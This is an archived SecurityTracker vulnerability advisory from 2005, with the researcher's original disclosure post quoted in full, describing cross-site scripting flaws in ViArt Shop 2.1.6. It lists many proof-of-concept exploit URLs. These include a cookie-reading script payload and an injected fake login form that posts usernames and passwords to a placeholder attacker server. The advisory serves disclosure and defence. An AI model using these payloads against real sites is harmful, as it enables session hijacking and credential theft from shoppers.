Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ViArt Shop Input Validation Holes Permit Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1013853
|
|
SecurityTracker URL: http://securitytracker.com/id?1013853
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Updated: May 2 2005
|
Original Entry Date: May 2 2005
|
Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Version(s): 2.1.6
|
Description: Lostmon reported a vulnerability in ViArt Shop. A remote user can conduct cross-site scripting attacks.
The 'basket.php', 'forum.php', 'page.php', 'reviews.php', 'products.php', and 'news_view.php' scripts do not properly validate user-supplied
input to remove HTML code. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary
scripting code to be executed by the target user's browser. The code will originate from the site running the ViArt Shop software
and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including
authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the
site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/basket.php?rp=products.php%3Fcategory_id%
3D0
[XSS-CODE]%26search_string%3Dss%26search_category_id%3D
http://[target]/basket.php?rp=products.php%3Fcategory_id%3D0%26
search_string%3D[XSS-CODE]%26search_strin
g%3Dss%26
search_category_id%3D%26search_category_id%3D
http://[target]/basket.php?rp=products.php%3Fcategory_id
%3D0%26search_string%3Dss%26search_string%3Dss%26
s
earch_category_id[XSS-CODE]%26search_category_id%3D
http://[target]/basket.php?rp=products.php%3Fcategory_id%3D0%26
search_string%3Dss%26search_string%3Dss%26
search
_category_id%3D[XSS-CODE]%26search_category_id%3D
http://[target]/basket.php?rp=products.php%3Fcategory_id%3D0%26
search_string%3Dss%26search_string%3Dss%26search_cat
egory_id%3D
%26search_category_id%3D[XSS-CODE]
http://[target]/page.php?page=about%22%3E
%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://[target]/page.php?
page=%3Cp%3Ean%20eror%20was
%20send%20to%20webmaster,%20please%20insert%20your%20
username%20and%20password%20,%20and%20continue%20shopping
%20%3Cform%20action=%22http
://[evil-server]/save.php%22%20
method=%22post%22%3EUsername:%3Cinput%20aame=%22username
%22%20type=%22text%22%20maxlength=%2230%22%3E%3Cbr%3EPassword:
%3Cinput%20name
=%22password%22%20type=%22text%22%20maxlength=
%2230%22%3E%3Cbr%3E%3Cinput%20name=%
http://[target]/reviews.php?category_id=0&item_id=4[XSS-CODE]
http://[target]/r
eviews.php?category_id=0[XSS-CODE]&item_id=4
http://[target]/reviews.php?filter=0&item_id=4
[XSS-CODE]&category_id=0
http://[target]/product_details.php?item_id=4
&category_id=0[XSS-CODE]
http://[target]/products.php?category_id=13[XSS-CODE]
http://[target]/products.php?category_id=0&search_string=
[XSS-CODE]&search_categor
y_id=
http://[target]/news_view.php?news_id=3&rp=
news.php[XSS-CODE]&page=1
http://[target]/news_view.php?news_id=3&rp=
news.php&page=1[XSS-CODE]
The
'forum_new_thread.php' script can be used to exploit 'forum.php' via the nickname, email, topic, and message fields.
The vendor
was notified on April 28, 2005.
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
ViArt Shop software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.codetosell.com/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: Lostmon <lostmon@gmail.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Fri, 29 Apr 2005 13:34:12 +0200
From: Lostmon <lostmon@gmail.com>
Subject: ViArt Shop Enterprise multiple variable XSS
|
#########################################################
ViArt Shop Enterprise multiple variable XSS
vendor: http://www.codetosell.com
advisory:http://lostmon.blogspot.com/2005/04/
viart-shop-enterprise-multiple.html
vendor informed: yes exploit available:yes
#########################################################
ViArt Shop contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate multiple variables upon submission to the multiple scripts.
This could allow a user to create a specially crafted URL that would
execute arbitrary code in a user's browser within the trust relationship
between the browser and the server,leading to a loss of integrity.
##########
versions:
##########
ViArt Shop Enterprise v.2.1.6 afected
also is posible prior versions are afected too.
##########
Solution:
##########
Currently, there are no known upgrades, patches, or workarounds
available to correct this issues.
#########
timeline:
#########
discovered : 25 april 2005
vendor notify :28 april 2005
vendor response :
vendor fix:
disclosure:29 april 2005
########## Proof of concept ##############
############
basket.php
###########
http://[victim]/basket.php?rp=3Dproducts.php%3Fcategory_id%3D0
[XSS-CODE]%26search_string%3Dss%26search_category_id%3D
http://[victim]/basket.php?rp=3Dproducts.php%3Fcategory_id%3D0%26
search_string%3D[XSS-CODE]%26search_string%3Dss%26
search_category_id%3D%26search_category_id%3D
http://[victim]/basket.php?rp=3Dproducts.php%3Fcategory_id
%3D0%26search_string%3Dss%26search_string%3Dss%26
search_category_id[XSS-CODE]%26search_category_id%3D
http://[victim]/basket.php?rp=3Dproducts.php%3Fcategory_id%3D0%26
search_string%3Dss%26search_string%3Dss%26
search_category_id%3D[XSS-CODE]%26search_category_id%3D
http://[victim]/basket.php?rp=3Dproducts.php%3Fcategory_id%3D0%26
search_string%3Dss%26search_string%3Dss%26search_category_id%3D
%26search_category_id%3D[XSS-CODE]
###########
forum.php
###########
http://[victim]/forum_new_thread.php
form fields nickname,email,topic and message are vulnerables to XSS
for exploiting email you can use:
[XSS-CODE]@email.com or email@[XSS-CODE].com
http://[victim]/forum_thread.php?thread_id=3D2
wen reply to a post nickname and message fields are vulnerable to XSS
all of this codes are executed wen a user view the forum or wen admin
look in "admin panel" for "forum threads" in forum menu
###########
page.php
###########
http://[victim]/page.php?page=3Dabout%22%3E
%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://[victim]/page.php?page=3D%3Cp%3Ean%20eror%20was
%20send%20to%20webmaster,%20please%20insert%20your%20
username%20and%20password%20,%20and%20continue%20shopping
%20%3Cform%20action=3D%22http://[evil-server]/save.php%22%20
method=3D%22post%22%3EUsername:%3Cinput%20aame=3D%22username
%22%20type=3D%22text%22%20maxlength=3D%2230%22%3E%3Cbr%3EPassword:
%3Cinput%20name=3D%22password%22%20type=3D%22text%22%20maxlength=3D
%2230%22%3E%3Cbr%3E%3Cinput%20name=3D%
############
reviews.php
############
http://[victim]/reviews.php?category_id=3D0&item_id=3D4[XSS-CODE]
http://[victim]/reviews.php?category_id=3D0[XSS-CODE]&item_id=3D4
http://[victim]/reviews.php?filter=3D0&item_id=3D4
[XSS-CODE]&category_id=3D0
#################
products.php
#################
http://[victim]/product_details.php?item_id=3D4
&category_id=3D0[XSS-CODE]
http://[victim]/products.php?category_id=3D13[XSS-CODE]
http://[victim]/products.php?category_id=3D0&search_string=3D
[XSS-CODE]&search_category_id=3D
##################
news_view.php
##################
http://[victim]/news_view.php?news_id=3D3&rp=3D
news.php[XSS-CODE]&page=3D1
http://[victim]/news_view.php?news_id=3D3&rp=3D
news.php&page=3D1[XSS-CODE]
################# end #########################
thnx to estrella to be my ligth
thnx to all http://www.osvdb.org Team
thnx to icaro he is investigate with me.
thnx to all who day after day support me !!!
--=20
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Data Mangler of: http://www.osvdb.org
--
La curiosidad es lo que hace mover la mente.
|
|
Go to the Top of This SecurityTracker Archive Page
|